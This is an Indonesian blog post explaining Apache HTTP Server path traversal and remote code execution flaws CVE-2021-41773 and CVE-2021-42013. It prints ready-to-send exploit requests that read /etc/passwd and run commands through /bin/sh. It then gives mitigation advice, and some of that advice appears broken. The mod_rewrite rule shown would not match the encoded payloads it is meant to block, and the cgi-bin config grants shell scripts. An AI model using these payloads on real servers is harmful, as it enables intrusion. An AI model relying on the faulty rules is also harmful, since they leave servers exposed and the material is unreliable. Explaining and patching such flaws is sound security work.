Apa itu Path Traversal & Remote Code Execution?
Path traversal adalah teknik serangan yang memanfaatkan kelemahan dalam validasi input untuk mengakses file atau direktori yang berada di luar batas yang ditentukan oleh aplikasi web. Dengan melakukan path traversal, penyerang dapat membaca, menulis, atau menghapus file yang sensitif atau penting pada server web.
Remote code execution (RCE) adalah kemampuan penyerang untuk menjalankan kode jahat pada server web yang rentan. Dengan melakukan RCE, penyerang dapat mengambil alih kendali server web, mencuri data, menyebarkan malware, atau melakukan aktivitas jahat lainnya.
Apa itu CVE-2021-41773 & CVE-2021-42013?
CVE-2021-41773 dan CVE-2021-42013 adalah dua kerentanan yang ditemukan pada Apache HTTP Server versi 2.4.49 dan 2.4.50. Kerentanan ini memungkinkan penyerang untuk melakukan path traversal dan RCE pada server web yang menggunakan konfigurasi non-default.
CVE-2021-41773 ditemukan pada tanggal 4 Oktober 2021 oleh Ash Daulton dan tim keamanan cPanel. Kerentanan ini disebabkan oleh perubahan kode yang tidak memadai untuk melakukan normalisasi path, yaitu proses untuk menghapus bagian yang tidak diinginkan atau berbahaya dari pathname URL. Kode yang rentan tidak dapat mendeteksi berbagai teknik encoding karakter path traversal “dot-dot-slash (…/)”.
CVE-2021-42013 ditemukan pada tanggal 7 Oktober 2021 sebagai perbaikan yang tidak lengkap untuk CVE-2021-41773 pada Apache HTTP Server versi 2.4.50. Kerentanan ini tidak menutup kemungkinan penggunaan double URL encoding, sehingga konfigurasi yang rentan tetap sama, tetapi payload yang digunakan pada versi 2.4.49 harus di-double URL encode pada versi 2.4.50 untuk melakukan serangan path traversal dan RCE yang sama.
Bagaimana cara mendeteksi dan menguji kerentanan ini?
Untuk mendeteksi dan menguji kerentanan ini, penyerang dapat mengirimkan HTTP request yang dibuat khusus ke server web yang menggunakan Apache HTTP Server versi 2.4.49 atau 2.4.50. HTTP request tersebut harus mengandung path yang mengandung karakter dot-dot-slash (…/) yang di-encode dengan berbagai cara, seperti %2e, %252e, atau %u002e. Selain itu, HTTP request tersebut harus ditujukan ke direktori cgi-bin, yang merupakan direktori default untuk menjalankan skrip CGI pada server web.
Berikut adalah contoh HTTP request yang dapat digunakan untuk melakukan path traversal dan membaca file /etc/passwd pada server web yang menggunakan Apache HTTP Server versi 2.4.49:
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1
Berikut adalah contoh HTTP request yang dapat digunakan untuk melakukan RCE dan menjalankan perintah whoami pada server web yang menggunakan Apache HTTP Server versi 2.4.49:
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 27echo;echo;whoami;echo;echo
Berikut adalah contoh HTTP request yang dapat digunakan untuk melakukan path traversal dan membaca file /etc/passwd pada server web yang menggunakan Apache HTTP Server versi 2.4.50:
GET /cgi-bin/.%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1
Berikut adalah contoh HTTP request yang dapat digunakan untuk melakukan RCE dan menjalankan perintah whoami pada server web yang menggunakan Apache HTTP Server versi 2.4.50:
GET /cgi-bin/.%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 27echo;echo;whoami;echo;echo
Bagaimana cara mencegah dan mengatasi kerentanan ini?
Untuk mencegah dan mengatasi kerentanan ini, pengguna Apache HTTP Server harus segera memperbarui versi server web mereka ke versi 2.4.51 atau lebih tinggi, yang telah memperbaiki masalah normalisasi path. Selain itu, pengguna juga harus memeriksa konfigurasi server web mereka dan memastikan bahwa direktori cgi-bin tidak diizinkan untuk menjalankan skrip CGI secara global, atau hanya mengizinkan skrip CGI yang terpercaya dan aman. Pengguna juga dapat menggunakan modul mod_rewrite untuk menolak HTTP request yang mengandung karakter dot-dot-slash (…/) yang di-encode dengan berbagai cara.
Berikut adalah contoh konfigurasi yang dapat digunakan untuk membatasi akses ke direktori cgi-bin:
<Directory "/usr/local/apache2/cgi-bin">
Require all denied<FilesMatch "\.(cgi|pl|py|sh)$">Require all granted</FilesMatch></Directory>
Berikut adalah contoh konfigurasi yang dapat digunakan untuk menggunakan mod_rewrite untuk menolak HTTP request yang mengandung karakter dot-dot-slash (…/) yang di-encode dengan berbagai cara:
RewriteEngine On
RewriteCond %{THE_REQUEST} \.\.(%2e|%252e|%u002e)+ [NC]RewriteRule ^ - [F]
Kesimpulan
CVE-2021-41773 dan CVE-2021-42013 adalah dua kerentanan yang serius yang mempengaruhi Apache HTTP Server versi 2.4.49 dan 2.4.50. Kerentanan ini memungkinkan penyerang untuk melakukan path traversal dan RCE pada server web yang menggunakan konfigurasi non-default. Kerentanan ini telah diketahui dieksploitasi di dunia nyata. Pengguna Apache HTTP Server harus segera memperbarui versi server web mereka ke versi 2.4.51 atau lebih
Komentar
Posting Komentar